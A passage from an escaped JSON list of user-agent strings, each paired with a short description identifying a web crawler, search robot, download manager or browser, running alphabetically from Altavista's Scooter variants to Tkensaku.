robot\",\"ua\":\"Scooter-3.2.BT\"},{\"description\":\"Altavista robot\",\"ua\":\"Scooter-3.2.DIL\"},{\"description\":\"Altavista robot\",\"ua\":\"Scooter-3.2.EX\"},{\"description\":\"Altavista robot\",\"ua\":\"Scooter-3.2.JT\"},{\"description\":\"Altavista robot\",\"ua\":\"Scooter-3.2.NIV\"},{\"description\":\"Altavista robot\",\"ua\":\"Scooter-3.2.SF0\"},{\"description\":\"Altavista robot\",\"ua\":\"Scooter-3.2.snippet\"},{\"description\":\"Altavista robot\",\"ua\":\"Scooter-3.3dev\"},{\"description\":\"Altavista robot\",\"ua\":\"Scooter-ARS-1.1\"},{\"description\":\"Altavista robot\",\"ua\":\"Scooter-ARS-1.1-ih\"},{\"description\":\"Altavista robot\",\"ua\":\"scooter-venus-3.0.vns\"},{\"description\":\"Altavista robot\",\"ua\":\"Scooter-W3-1.0\"},{\"description\":\"Altavista robot\",\"ua\":\"Scooter-W3.1.2\"},{\"description\":\"Altavista robot\",\"ua\":\"Scooter\\/1.0\"},{\"description\":\"Altavista robot\",\"ua\":\"Scooter\\/1.0 scooter@pa.dec.com\"},{\"description\":\"Altavista robot\",\"ua\":\"Scooter\\/1.1 (custom)\"},{\"description\":\"Altavista robot\",\"ua\":\"Scooter\\/2.0 G.R.A.B. V1.1.0\"},{\"description\":\"Altavista robot\",\"ua\":\"Scooter\\/2.0 G.R.A.B. X2.0\"},{\"description\":\"Altavista robot\",\"ua\":\"Scooter\\/3.3\"},{\"description\":\"Altavista robot\",\"ua\":\"Scooter\\/3.3.QA.pczukor\"},{\"description\":\"Altavista robot\",\"ua\":\"Scooter\\/3.3.vscooter\"},{\"description\":\"Altavista robot\",\"ua\":\"Scooter\\/3.3_SF\"},{\"description\":\"Altavista using Mercator robot\",\"ua\":\"Scooter2_Mercator_x-x.0\"},{\"description\":\"Altavista robot\",\"ua\":\"Scooter_bh0-3.0.3\"},{\"description\":\"Altavista robot\",\"ua\":\"Scooter_trk3-3.0.3\"},{\"description\":\"Scope Navigator mobile browser (Japan)\",\"ua\":\"Scope (Mars+)\"},{\"description\":\"Some nec.com robot using Research Republic ScoutAbout Research Tool\",\"ua\":\"ScoutAbout\"},{\"description\":\"Ant.com search robot\",\"ua\":\"ScoutAnt\\/0.1; +http:\\/\\/www.ant.com\\/what_is_ant.com\\/\"},{\"description\":\"ScoutMaster information retrieval software\",\"ua\":\"scoutmaster\"},{\"description\":\"Scrub the web robot (66.93.156.xx)\",\"ua\":\"Scrubby\\/2.x (http:\\/\\/www.scrubtheweb.com\\/)\"},{\"description\":\"Scrub the web robot (66.93.156.xx)\",\"ua\":\"Scrubby\\/3.0 (+http:\\/\\/www.scrubtheweb.com\\/help\\/technology.html)\"},{\"description\":\"URL Search+ search software\",\"ua\":\"Search+\"},{\"description\":\"Xtreem Search Engine Studio - SE software\",\"ua\":\"Search-Engine-Studio\"},{\"description\":\"Search.ch robot\",\"ua\":\"search.ch V1.4\"},{\"description\":\"Search.ch robot\",\"ua\":\"search.ch V1.4.2 (spiderman@search.ch; http:\\/\\/www.search.ch)\"},{\"description\":\"Enterprise Search web indexing \\/ site searching tool\",\"ua\":\"Search\\/1.0 (http:\\/\\/www.innerprise.net\\/es-spider.asp)\"},{\"description\":\"Unknown robot  \\/ website grabber from Chinatelecom (219.142.78.xxx)\",\"ua\":\"searchbot admin@google.com\"},{\"description\":\"SearchByUSA robot (69.150.7.xxx)\",\"ua\":\"SearchByUsa\\/2 (SearchByUsa; http:\\/\\/www.SearchByUsa.com\\/bot.html; info@SearchByUsa.com)\"},{\"description\":\"Searchday (Germany) search robot\",\"ua\":\"SearchdayBot\"},{\"description\":\"Searchexpress spider\",\"ua\":\"SearchExpress Spider0.99\"},{\"description\":\"Searchguild forum & directory robot (81.3.75.xxx)\",\"ua\":\"SearchGuild\\/DMOZ\\/Experiment (searchguild@gmail.com)\"},{\"description\":\"Searchguild forum & directory robot (81.3.75.xxx)\",\"ua\":\"SearchGuild_DMOZ_Experiment (chris@searchguild.com)\"},{\"description\":\"Searchit robot (69.93.107.xx)\",\"ua\":\"Searchit-Now Robot\\/2.2 (+http:\\/\\/www.searchit-now.co.uk)\"},{\"description\":\"Searchmee!  Search Engine (prototype) robot by findanisp.com\",\"ua\":\"Searchmee! Spider v0.98a\"},{\"description\":\"SearchSight search robot\",\"ua\":\"SearchSight\\/2.0 (http:\\/\\/SearchSight.com\\/)\"},{\"description\":\"SearchSpider robot\",\"ua\":\"SearchSpider.com\\/1.1\"},{\"description\":\"SearchSpider robot\",\"ua\":\"Searchspider\\/1.2 (SearchSpider; http:\\/\\/www.searchspider.com; webmaster@searchspider.com)\"},{\"description\":\"Janas (Ideare.com \\/ Tiscali.it) robot\",\"ua\":\"SearchTone2.0 - IDEARE\"},{\"description\":\"seekport. beta search (Germany) robot\",\"ua\":\"Seekbot\\/1.0 (http:\\/\\/www.seekbot.net\\/bot.html) HTTPFetcher\\/0.3\"},{\"description\":\"seekport. beta search (Germany) robot\",\"ua\":\"Seekbot\\/1.0 (http:\\/\\/www.seekbot.net\\/bot.html) RobotsTxtFetcher\\/1.0 (XDF)\"},{\"description\":\"seekport. beta search (Germany) robot\",\"ua\":\"Seekbot\\/1.0 (http:\\/\\/www.seekbot.net\\/bot.html) RobotsTxtFetcher\\/1.2\"},{\"description\":\"Lookseek search robot \\/ link checking\",\"ua\":\"Seeker.lookseek.com\"},{\"description\":\"semaforo.net web filtering software\",\"ua\":\"semaforo.net\"},{\"description\":\"Semager.de (was NG-Search) semantic search - Germany\",\"ua\":\"Semager\\/1.1 (http:\\/\\/www.semager.de\\/blog\\/semager-bots\\/)\"},{\"description\":\"Semager.de (was NG-Search) semantic search - Germany\",\"ua\":\"Semager\\/1.x (http:\\/\\/www.semager.de)\"},{\"description\":\"Semantic Discovery domain checking tool\",\"ua\":\"semanticdiscovery\\/0.x\"},{\"description\":\"Sensis Australia search robot\",\"ua\":\"Sensis Web Crawler (search_comments\\\\at\\\\sensis\\\\dot\\\\com\\\\dot\\\\au)\"},{\"description\":\"Sensis Australia search robot\",\"ua\":\"Sensis.com.au Web Crawler (search_comments\\\\at\\\\sensis\\\\dot\\\\com\\\\dot\\\\au)\"},{\"description\":\"Seznam Search (Czech Republic) robot\",\"ua\":\"SeznamBot\\/1.0\"},{\"description\":\"Seznam Search (Czech Republic) robot\",\"ua\":\"SeznamBot\\/1.0 (+http:\\/\\/fulltext.seznam.cz\\/)\"},{\"description\":\"Seznam Search (Czech Republic) robot\",\"ua\":\"SeznamBot\\/2.0-test (+http:\\/\\/fulltext.sblog.cz\\/)\"},{\"description\":\"Unknown robot from Shablast.com - Website has no content - Ignores robots.txt\",\"ua\":\"ShablastBot 1.0\"},{\"description\":\"Shareaza P2P peer-to-peer download client\",\"ua\":\"Shareaza v1.x.x.xx\"},{\"description\":\"SharewarePlaza File Check Bot - link checking\",\"ua\":\"SharewarePlazaFileCheckBot\\/1.0+(+http:\\/\\/www.SharewarePlaza.com)\"},{\"description\":\"Chikayama-Taura Lab Shim-Crawler used for The Kototoi Project (Japan) - (133.11.36.xx)\",\"ua\":\"Shim Crawler\"},{\"description\":\"Chikayama-Taura Lab Shim-Crawler used for The Kototoi Project (Japan) - (133.11.36.xx)\",\"ua\":\"Shim-Crawler(Mozilla-compatible; http:\\/\\/www.logos.ic.i.u-tokyo.ac.jp\\/crawler\\/; crawl@logos.ic.i.u-tokyo.ac.jp)\"},{\"description\":\"ShopWiki shopping search based on LittleWiki search\",\"ua\":\"ShopWiki\\/1.0 ( +http:\\/\\/www.shopwiki.com\\/)\"},{\"description\":\"ShopWiki shopping search based on LittleWiki search\",\"ua\":\"ShopWiki\\/1.0 ( +http:\\/\\/www.shopwiki.com\\/wiki\\/Help:Bot)\"},{\"description\":\"Shoula Search Engine crawler\",\"ua\":\"Shoula.com Crawler 2.0\"},{\"description\":\"Siets Crawler - Web based site crawling application\",\"ua\":\"SietsCrawler\\/1.1 (+http:\\/\\/www.siets.biz)\"},{\"description\":\"Sigram's Nutch robot - crawler testing\",\"ua\":\"Sigram\\/Nutch-1.0-dev (Test agent for Nutch development; http:\\/\\/www.sigram.com\\/bot.html; bot at sigram dot com)\"},{\"description\":\"Siigle search (Turkey) robot\",\"ua\":\"Siigle Orumcex v.001 Turkey (http:\\/\\/www.siigle.com)\"},{\"description\":\"Slider Search directory robot (194.213.194.2xx)\",\"ua\":\"silk\\/1.0\"},{\"description\":\"Slider Search directory robot (194.213.194.2xx)\",\"ua\":\"silk\\/1.0 (+http:\\/\\/www.slider.com\\/silk.htm)\\/3.7\"},{\"description\":\"SimpleFavPanel - IE newsfeed panel plugin\",\"ua\":\"SimpleFavPanel\\/1.2\"},{\"description\":\"Simpy bookmarking and personal search engine\",\"ua\":\"Simpy 1.x; http:\\/\\/www.simpy.com\\/\"},{\"description\":\"Simpy bookmarking and personal search engine\",\"ua\":\"Simpy\\/1.x (Simpy; http:\\/\\/www.simpy.com\\/?ref=bot; feedback at simpy dot com)\"},{\"description\":\"Sirket\\u00e7e search - Turkey\",\"ua\":\"Sirketcebot\\/v.01 (http:\\/\\/www.sirketce.com\\/bot.html)\"},{\"description\":\"SiteBar online bookmark manager\",\"ua\":\"SiteBar\\/3.x.x (Bookmark Server; http:\\/\\/sitebar.org\\/)\"},{\"description\":\"SiteBar bookmark server\",\"ua\":\"SiteBar\\/x.x\"},{\"description\":\"SiteBar bookmark server\",\"ua\":\"SiteBar\\/x.x.x (Bookmark Server; http:\\/\\/sitebar.org\\/)\"},{\"description\":\"Internetseer Web Site Monitoring \\/ Claymont robot\",\"ua\":\"sitecheck.internetseer.com\"},{\"description\":\"Internetseer Web Site Monitoring\",\"ua\":\"sitecheck.internetseer.com (For more info see: http:\\/\\/sitecheck.internetseer.com)\"},{\"description\":\"SiteRecon website monitoring spider at xx minute intervals\",\"ua\":\"SiteRecon+(xx)\"},{\"description\":\"PC Magazin web site downloadmanager\",\"ua\":\"SiteSnagger\"},{\"description\":\"Site Spider robot (66.249.17.xx)\",\"ua\":\"SiteSpider +(http:\\/\\/www.SiteSpider.com\\/)\"},{\"description\":\"SiteSucker Mac website downloading tool\",\"ua\":\"SiteSucker\\/1.x.x\"},{\"description\":\"SiteTagger.com bookmark organizer\",\"ua\":\"SiteTaggerBot (http:\\/\\/www.sitetagger.com\\/bot.htm)\"},{\"description\":\"SiteTruth - Automatic site legitimacy rating system\",\"ua\":\"SiteTruth.com site rating system\"},{\"description\":\"Webwasher.com (217.146.159.xx) internet filter\",\"ua\":\"SiteWinder\"},{\"description\":\"Xtreeme SiteXpert sitemap & search engine builder\",\"ua\":\"SiteXpert\"},{\"description\":\"Skaffe.com directory link checker\",\"ua\":\"Skampy\\/0.9.x (http:\\/\\/www.skaffe.com\\/skampy-info.html)\"},{\"description\":\"Skaffe.com directory link checker\",\"ua\":\"Skimpy\\/0.x (http:\\/\\/www.skaffe.com\\/skampy-info.html)\"},{\"description\":\"Visvo distributed website crawler based on Nutch\",\"ua\":\"Skywalker\\/0.1 (Skywalker; anonymous; anonymous)\"},{\"description\":\"Only.com robot\",\"ua\":\"Slarp\\/0.1\"},{\"description\":\"Sleipnir - Japanese Explorer based browser & search bar\",\"ua\":\"Sleipnir\"},{\"description\":\"Sleipnir - Japanese Explorer based browser & search bar\",\"ua\":\"Sleipnir Version 1.xx\"},{\"description\":\"Sleipnir - Japanese Explorer based browser & search bar\",\"ua\":\"Sleipnir Version2.x\"},{\"description\":\"Sleipnir - Japanese Explorer based browser & search bar\",\"ua\":\"Sleipnir\\/2.xx\"},{\"description\":\"Slider Search directory robot (194.213.194.2xx)\",\"ua\":\"Slider_Search_v1-de\"},{\"description\":\"Slim Browser (IE based browser) - uses this user agent for favicon.ico only\",\"ua\":\"SlimBrowser\"},{\"description\":\"Inktomi (Hotbot-Lycos-NBCi) robot\",\"ua\":\"Slurp\\/2.0 (slurp@inktomi.com; http:\\/\\/www.inktomi.com\\/slurp.html)\"},{\"description\":\"Inktomi (Hotbot-Lycos-NBCi) robot\",\"ua\":\"Slurp\\/2.0-KiteWeekly (slurp@inktomi.com; http:\\/\\/www.inktomi.com\\/slurp.html)\"},{\"description\":\"Inktomi (Hotbot-Lycos-NBCi) robot\",\"ua\":\"Slurp\\/si (slurp@inktomi.com; http:\\/\\/www.inktomi.com\\/slurp.html)\"},{\"description\":\"Inktomi (Hotbot-Lycos-NBCi) robot - 72.30.61.xx(x)\",\"ua\":\"Slurpy Verifier\\/1.0\"},{\"description\":\"Slysearch robot (now Turnitin robot)\",\"ua\":\"SlySearch (slysearch@slysearch.com)\"},{\"description\":\"Slysearch robot (now Turnitin robot)\",\"ua\":\"SlySearch\\/1.0 http:\\/\\/www.plagiarism.org\\/crawler\\/robotinfo.html\"},{\"description\":\"Slysearch robot (now Turnitin robot)\",\"ua\":\"SlySearch\\/1.x http:\\/\\/www.slysearch.com\"},{\"description\":\"Netzip\\/Smartdownload download manager\",\"ua\":\"SmartDownload\\/1.2.67 (Win32; Jan 12 1999)\"},{\"description\":\"Netzip\\/Smartdownload download manager\",\"ua\":\"SmartDownload\\/1.2.77 (Win32; Feb 1 2000)\"},{\"description\":\"Netzip\\/Smartdownload download manager\",\"ua\":\"SmartDownload\\/1.2.77 (Win32; Jun 19 2001)\"},{\"description\":\"Loop Improvements NRS Enterprise search (69.44.155.xx[x])\",\"ua\":\"smartwit.com\"},{\"description\":\"SmiffyDCMetaSpider - Robot to check the retro-adding of Dublin Core metadata\",\"ua\":\"SmiffyDCMetaSpider\\/1.0\"},{\"description\":\"Snoopy PHP-client\",\"ua\":\"sna-0.0.1 (mikemuzio@msn.com)\"},{\"description\":\"Snoopy PHP-client\",\"ua\":\"sna-0.0.1 mikeelliott@hotmail.com\"},{\"description\":\"Unknown bot from bb2.net (66.234.139.xxx) also as Snapbot\\/1.0\",\"ua\":\"snap.com beta crawler v0\"},{\"description\":\"Unknown bot from bb2.net (66.234.139.xxx) - also as snap.com\",\"ua\":\"Snapbot\\/1.0\"},{\"description\":\"Unknown bot from Psinet \\/ Cogentco - not from Snap.com\",\"ua\":\"Snapbot\\/1.0 (Snap Shots, +http:\\/\\/www.snap.com)\"},{\"description\":\"My UrlTrends online web ranking service\",\"ua\":\"Snappy\\/1.1 ( http:\\/\\/www.urltrends.com\\/ )\"},{\"description\":\"Snarfer RSS reader\",\"ua\":\"Snarfer\\/0.x.x (http:\\/\\/www.snarfware.com\\/)\"},{\"description\":\"Unknown robot from 217.229.156.xx (T-Online Germany)\",\"ua\":\"SnoopRob\\/x.x\"},{\"description\":\"Snoopy PHP-client\",\"ua\":\"Snoopy v1.xx\"},{\"description\":\"Snoopy PHP-client\",\"ua\":\"Snoopy v1.xx- : User-Agent: Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MyIE2)\"},{\"description\":\"Snoopy PHP-client\",\"ua\":\"Snoopy_v0.xx\"},{\"description\":\"Snyke.com France robot\",\"ua\":\"SnykeBot\\/0.6 (http:\\/\\/www.snyke.com)\"},{\"description\":\"Link crawler for the social sciences\",\"ua\":\"SocSciBot ()\"},{\"description\":\"NetFront browser on Softbank mobile phone\",\"ua\":\"SoftBank\\/1.0\\/812SH\\/SHJ001 Browser\\/NetFront\\/3.3 Profile\\/MIDP-2.0 Configuration\\/CLDC-1.1\"},{\"description\":\"Soft Hypermarket link checking\",\"ua\":\"SoftHypermarketFileCheckBot\\/1.0+(+http:\\/\\/www.softhypermaket.com)\"},{\"description\":\"Softizer.com software directory link checking\",\"ua\":\"Softizerbot (http:\\/\\/www.softizer.com)\"},{\"description\":\"Unknown UA from Chinanet (220.181.26.1xx) faking Sogou search robot\",\"ua\":\"sogou develop spider\"},{\"description\":\"Unknown UA from Chinanet (220.181.18.xx) faking Sogou search robot\",\"ua\":\"Sogou Orion spider\\/3.0(+http:\\/\\/www.sogou.com\\/docs\\/help\\/webmasters.htm#07)\"},{\"description\":\"Unknown UA from Chinanet (220.181.26.1xx) faking Sogou search robot\",\"ua\":\"sogou spider\"},{\"description\":\"Unknown UA from Chinanet (220.181.26.1xx) faking Sogou search robot\",\"ua\":\"Sogou web spider\\/3.0(+http:\\/\\/www.sogou.com\\/docs\\/help\\/webmasters.htm#07)\"},{\"description\":\"Unknown UA from Chinanet (220.181.26.1xx) faking Sogou search robot\",\"ua\":\"sohu agent\"},{\"description\":\"Sohu (Search Fox) search robot China (61.135.131.xxx)\",\"ua\":\"sohu-search\"},{\"description\":\"SOSO search (China) spider\",\"ua\":\"Sosospider+(+http:\\/\\/help.soso.com\\/webspider.htm)\"},{\"description\":\"Default Proxomitron (discontinued) filtering proxy user agent identifier\",\"ua\":\"Space Bison\\/0.02 [fu] (Win67; X; SK)\"},{\"description\":\"Speed Download (Mac) download manager\",\"ua\":\"SpeedDownload\\/1.x\"},{\"description\":\"Speedfind.de robot\",\"ua\":\"speedfind ramBot xtreme 8.1\"},{\"description\":\"Entireweb search robot\",\"ua\":\"Speedy Spider (Beta\\/x.x; speedy@entireweb.com)\"},{\"description\":\"Entireweb search spider\",\"ua\":\"Speedy Spider (Entireweb; Beta\\/1.0; http:\\/\\/www.entireweb.com\\/about\\/search_tech\\/speedyspider\\/)\"},{\"description\":\"Entireweb search robot\",\"ua\":\"Speedy_Spider (http:\\/\\/www.entireweb.com)\"},{\"description\":\"Sphere blog and news search robot\",\"ua\":\"Sphere Scout&v4.0 - scout at sphere dot com\"},{\"description\":\"Sphider - a lightweight search engine in PHP\",\"ua\":\"Sphider\"},{\"description\":\"Only.com robot\",\"ua\":\"Spida\\/0.1\"},{\"description\":\"Search-Info ODP\\/DMOZ spider\",\"ua\":\"Spider-Sleek\\/2.0 (+http:\\/\\/search-info.com\\/linktous.html)\"},{\"description\":\"Batsch robot\",\"ua\":\"spider.batsch.com\"},{\"description\":\"TerraNautic spider for Schnellsuchen touristic search (Germany)\",\"ua\":\"Spider.TerraNautic.net - v:1.04\"},{\"description\":\"Yellopet spider\",\"ua\":\"spider.yellopet.com - www.yellopet.com\"},{\"description\":\"Maxbot .gov .mil .edu indexing robot\",\"ua\":\"Spider\\/maxbot.com admin@maxbot.com\"},{\"description\":\"Unknown robot from CPE at Kasetsart University (158.108.35.xxx)\",\"ua\":\"SpiderKU\\/0.x\"},{\"description\":\"Yahoo Search user agent or spider (202.165.102.xxx)\",\"ua\":\"SpiderMan\"},{\"description\":\"SpiderMonkey Canada robot\",\"ua\":\"SpiderMonkey\\/7.0x (SpiderMonkey.ca info at http:\\/\\/spidermonkey.ca\\/sm.shtml)\"},{\"description\":\"Spider.de robot\",\"ua\":\"Spinne\\/2.0\"},{\"description\":\"Medkatalog (medical catalogue) Austria robot\",\"ua\":\"Spinne\\/2.0 med\"},{\"description\":\"Medkatalog (medical catalogue) Austria robot\",\"ua\":\"Spinne\\/2.0 med_AH\"},{\"description\":\"Spock - people search application - via Amazon web services\",\"ua\":\"Spock Crawler (http:\\/\\/www.spock.com\\/crawler)\"},{\"description\":\"Sportsuchmaschine (German sports related search) link checking \\/ robot\",\"ua\":\"sportsuchmaschine.de-Robot (Version: 1.02- powered by www.sportsuchmaschine.de)\"},{\"description\":\"Sproose personalized search (38.100.225.xx)\",\"ua\":\"sproose\\/0.1-alpha (sproose crawler; http:\\/\\/www.sproose.com\\/bot.html; crawler@sproose.com)\"},{\"description\":\"SQ Webscanner Mac download manager\",\"ua\":\"SQ Webscanner\"},{\"description\":\"Simple page-prefetch for Squid web proxy\",\"ua\":\"Squid-Prefetch\"},{\"description\":\"Squidclam is a replacement for SquidClamAV-Redirector\",\"ua\":\"squidclam\"},{\"description\":\"SCAVR - Squid helper script for scanning download URLs for viruses\",\"ua\":\"SquidClamAV_Redirector 1.x.x\"},{\"description\":\"AOL Search \\/ Pacific Internet Exchange robot\",\"ua\":\"Sqworm\\/2.9.81-BETA (beta_release; 20011102-760; i686-pc-linux-gnu)\"},{\"description\":\"diff. IPs \\/ services i.e.: - Inria.fr robot - Websense (Internet filtering) robot\",\"ua\":\"Sqworm\\/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)\"},{\"description\":\"Time Warner Telecom user robot ?\",\"ua\":\"Sqworm\\/2.9.89-BETA (beta_release; 20020130-839; i686-pc-linux-gnu) \"},{\"description\":\"Some site scanning tool via diff. IPs i.e.: - choiceone.net (216.153.xxx.xxx) - epix.net (216.108.198.xx)\",\"ua\":\"SSurf15a 11 \"},{\"description\":\"Rambler search (Russia) robot (81.19.6x.xx)\",\"ua\":\"StackRambler\\/x.x \"},{\"description\":\"Stamina download manager\",\"ua\":\"Stamina\\/1.4\"},{\"description\":\"Star Downloader download manager\",\"ua\":\"Star Downloader\"},{\"description\":\"Star Downloader download manager\",\"ua\":\"StarDownloader\\/1.xx\"},{\"description\":\"Experimental search engine spider from 66.92.186.xxx\",\"ua\":\"stat statcrawler@gmail.com\"},{\"description\":\"Steeler crawler\",\"ua\":\"Steeler\\/1.x (http:\\/\\/www.tkl.iis.u-tokyo.ac.jp\\/~crawler\\/)\"},{\"description\":\"Steeler - University of Tokyo web crawler\",\"ua\":\"Steeler\\/3.3 (http:\\/\\/www.tkl.iis.u-tokyo.ac.jp\\/~crawler\\/)\"},{\"description\":\"Strategic Board blog & news search robot\",\"ua\":\"Strategic Board Bot (+http:\\/\\/www.strategicboard.com)\"},{\"description\":\"Strategic Board blogs and news aggregator robot\",\"ua\":\"Strategic Board Bot (+http:\\/\\/www.strategicboard.com)\"},{\"description\":\"Surfsafely submission verifier\",\"ua\":\"Submission Spider at surfsafely.com\"},{\"description\":\"Suchbaer.de (Germany) search robot\",\"ua\":\"suchbaer.de\"},{\"description\":\"Suchbaer.de (Germany) search robot\",\"ua\":\"suchbaer.de (CrawlerAgent v0.103)\"},{\"description\":\"Suchbot Germany robot\",\"ua\":\"suchbot\"},{\"description\":\"Suchknecht Austria robot\",\"ua\":\"Suchknecht.at-Robot\"},{\"description\":\"suchpad search Germany robot (213.239.194.xx)\",\"ua\":\"suchpadbot\\/1.0 (+http:\\/\\/www.suchpad.de)\"},{\"description\":\"Sunrise XP handheld news \\/ website reader and converter\",\"ua\":\"Sunrise XP\\/2.x\"},{\"description\":\"Sunrise XP web sites and newsfeeds converter and handheld reader\",\"ua\":\"Sunrise\\/0.42g (Windows XP)\"},{\"description\":\"SuperBot website copier\",\"ua\":\"SuperBot\\/x.x (Win32)\"},{\"description\":\"SuperBot website copier\",\"ua\":\"SuperBot\\/x.x.x.xx (Windows XP)\"},{\"description\":\"Ubbi Superdownloads (Brazil) link checking\",\"ua\":\"Superdownloads Spiderman\"},{\"description\":\"SurfControl Web Filtering\",\"ua\":\"SURF \"},{\"description\":\"Wanadoo Rechereche robot\",\"ua\":\"SurferF3 1\\/0\"},{\"description\":\"Maskbit Surfmaster bookmark tool\",\"ua\":\"SurfMaster\"},{\"description\":\"Whois Source domain name information robot (66.249.26.xx)\",\"ua\":\"SurveyBot\\/2.2 <a href='http:\\/\\/www.whois.sc'>Whois Source<\\/a>\"},{\"description\":\"Whois Source domain name information robot (66.249.26.xx)\",\"ua\":\"SurveyBot\\/2.3 (Whois Source)\"},{\"description\":\"Yokogao Search Engine robot (Kanazawa University)\",\"ua\":\"suzuran\"},{\"description\":\"HP Secure Web Browser for OpenVMS\",\"ua\":\"SWB\\/V1.4 (HP)\"},{\"description\":\"unknown\",\"ua\":\"swbot\\/0.9c libwww\\/5.3.1\"},{\"description\":\"Swooglebot Swoogle's semantic web crawler\",\"ua\":\"Swooglebot\\/2.0. (+http:\\/\\/swoogle.umbc.edu\\/swooglebot.htm)\"},{\"description\":\"SWSBot - SmartWareSoft (85.186.255.xx) software search engine created for Playfuls.com\",\"ua\":\"SWSBot-Images\\/1.2 http:\\/\\/www.smartwaresoft.com\\/swsbot12.html\"},{\"description\":\"Sygol Search (Italy) robot\",\"ua\":\"SygolBot http:\\/\\/www.sygol.net\"},{\"description\":\"Sylera browser (Japan)\",\"ua\":\"Sylera\\/1.2.x\"},{\"description\":\"Mindspring.com user robot\",\"ua\":\"SyncBot\"},{\"description\":\"SyncIT link validation\",\"ua\":\"SyncIT\\/x.x\"},{\"description\":\"Syndirella desktop information aggregator (beta)\",\"ua\":\"Syndirella\\/0.91pre\"},{\"description\":\"Synomia (France) robot\",\"ua\":\"SynoBot\"},{\"description\":\"Syntryx Solution Suite - domain \\/ keyword crawler (216.7.179.xx)\",\"ua\":\"Syntryx ANT Scout Chassis Pheromone; Mozilla\\/4.0 compatible crawler\"},{\"description\":\"Szukacz.pl (Polish search) robot\",\"ua\":\"Szukacz\\/1.x\"},{\"description\":\"Szukacz.pl (Polish search) robot\",\"ua\":\"Szukacz\\/1.x (robot; www.szukacz.pl\\/jakdzialarobot.html; szukacz@proszynski.pl)\"},{\"description\":\"German T-Online browser & internet suite \",\"ua\":\"T-Online Browser\"},{\"description\":\"tags2dir.com directory index\",\"ua\":\"tags2dir.com\\/0.8 (+http:\\/\\/tags2dir.com\\/directory\\/)\"},{\"description\":\"TAGword DMOZ survey - ODP link checking robot\",\"ua\":\"Tagword (http:\\/\\/tagword.com\\/dmoz_survey.php)\"},{\"description\":\"Tagyu - del.icio.us bookmark collection online tag generator\",\"ua\":\"Tagyu Agent\\/1.0\"},{\"description\":\"Daumsoft Talkro IR robot\",\"ua\":\"Talkro Web-Shot\\/1.0 (E-mail: webshot@daumsoft.com- Home: http:\\/\\/222.122.15.190\\/webshot)\"},{\"description\":\"Texas A&M University - Dept. of Computer Science crawler (server or link checking ?)\",\"ua\":\"TAMU_CS_IRL_CRAWLER\\/1.0\"},{\"description\":\"Targetblaster user link validation ?\",\"ua\":\"targetblaster.com\\/0.9k\"},{\"description\":\"Target Your News - user submitted links\",\"ua\":\"TargetYourNews.com bot\"},{\"description\":\"Trinity College Dublin (Ireland) TCDBOT\",\"ua\":\"TCDBOT\\/Nutch-0.8 (PhD student research;http:\\/\\/www.tcd.ie; mcgettrs at t c d dot IE)\"},{\"description\":\"HTTP header for transfer encoding used as user agent name ?\",\"ua\":\"TE\"},{\"description\":\"WinInet Internet client app.\",\"ua\":\"TeamSoft WinInet Component\"},{\"description\":\"Tecomac Gmbh (Germany) crawler software - now Arexera Information Technologies\",\"ua\":\"TECOMAC-Crawler\\/0.x\"},{\"description\":\"Tecomi (Germany) beta \\/ test robot (84.201.65.xxx)\",\"ua\":\"Tecomi Bot (http:\\/\\/www.tecomi.com\\/bot.htm)\"},{\"description\":\"Teemer crawler for NetSeer search (beta) via Amazon Web Services - see also NetSeer\\/Nutch\",\"ua\":\"Teemer (NetSeer, Inc. is a Los Angeles based Internet startup company.; http:\\/\\/www.netseer.com\\/crawler.html; crawler@netseer.com)\"},{\"description\":\"Teleport (website) downloading tool\",\"ua\":\"Teleport Pro\\/1.2x(.1xxx)\"},{\"description\":\"Teoma crawler (65.214.36.xx[x])\",\"ua\":\"Teoma MP\"},{\"description\":\"Teoma crawler (65.214.36.xx[x])\",\"ua\":\"teomaagent crawler-admin@teoma.com\"},{\"description\":\"Teoma crawler (65.214.36.xx[x])\",\"ua\":\"teomaagent1 [crawler-admin@teoma.com]\"},{\"description\":\"Teoma crawler (65.214.36.xx[x])\",\"ua\":\"teoma_agent1\"},{\"description\":\"Teradex Directory robot\",\"ua\":\"Teradex Mapper; mapper@teradex.com; http:\\/\\/www.teradex.com\"},{\"description\":\"Teragram multilingual text & data processing software\",\"ua\":\"TeragramCrawler\"},{\"description\":\"Terraminds blog search (Germany)\",\"ua\":\"terraminds-bot\\/1.0 (support@terraminds.de)\"},{\"description\":\"Terrawiz Indian Search Engine robot\",\"ua\":\"TerrawizBot\\/1.0 (+http:\\/\\/www.terrawiz.com\\/bot.html)\"},{\"description\":\"Noceans Information Portfolio Manager (66.35.69.x)\",\"ua\":\"Test spider\"},{\"description\":\"Balihoo - Search Engine for Advertising Media\",\"ua\":\"TestCrawler\\/Nutch-0.9 (Testing Crawler for Research ; http:\\/\\/balihoo.com\\/index.aspx; tgautier at balihoo dot com)\"},{\"description\":\"Expert HTML online source viewer\",\"ua\":\"The Expert HTML Source Viewer (http:\\/\\/www.expert-html.com)\"},{\"description\":\"The Rarest Words - Linguistic experiment crawler via Amazon Web Services\",\"ua\":\"TheRarestParser\\/0.2a (http:\\/\\/therarestwords.com\\/)\"},{\"description\":\"TheSuBot robot (Germany) for an unknown theme based search engine\",\"ua\":\"TheSuBot\\/0.1 (www.thesubot.de)\"},{\"description\":\"ThumbShots website thumbnail service (Germany) robot\",\"ua\":\"thumbshots-de-Bot (Version: 1.02, powered by www.thumbshots.de)\"},{\"description\":\"ThumbShots.de (Germany) robot\",\"ua\":\"thumbshots-de-Bot (Version: 1.02- powered by www.thumbshots.de)\"},{\"description\":\"Breaking Blogs timbo bot blog robot\",\"ua\":\"timboBot\\/0.9 http:\\/\\/www.breakingblogs.com\\/timbo_bot.html\"},{\"description\":\"TimelyWeb web page monitoring tool\",\"ua\":\"http:\\/\\/www.timelyweb.com\\/\"},{\"description\":\"TinEye crawler for an open image search project\",\"ua\":\"TinEye\\/1.1 (http:\\/\\/tineye.com\\/crawler.html)\"},{\"description\":\"Tivra spider from AT&T Labs Research\",\"ua\":\"tivraSpider\\/1.0 (crawler@tivra.com)\"},{\"description\":\"Tjgroup spider\",\"ua\":\"TJG\\/Spider\"},{\"description\":\"TJvHttpGrabber (JEDI Visual Component Library)\",\"ua\":\"TJvMultiHttpGrabber Component\"},{\"description\":\"Tkensaku Search (Japan) robot from 210.239.46.xxx (www.tken.com)\",\"ua\":\"Tkensaku\\/x.x(http:\\/\\/www.tkensaku.com\\/q.html)\"},{\"description\":\"Unknown robot from 195.68.98.xx 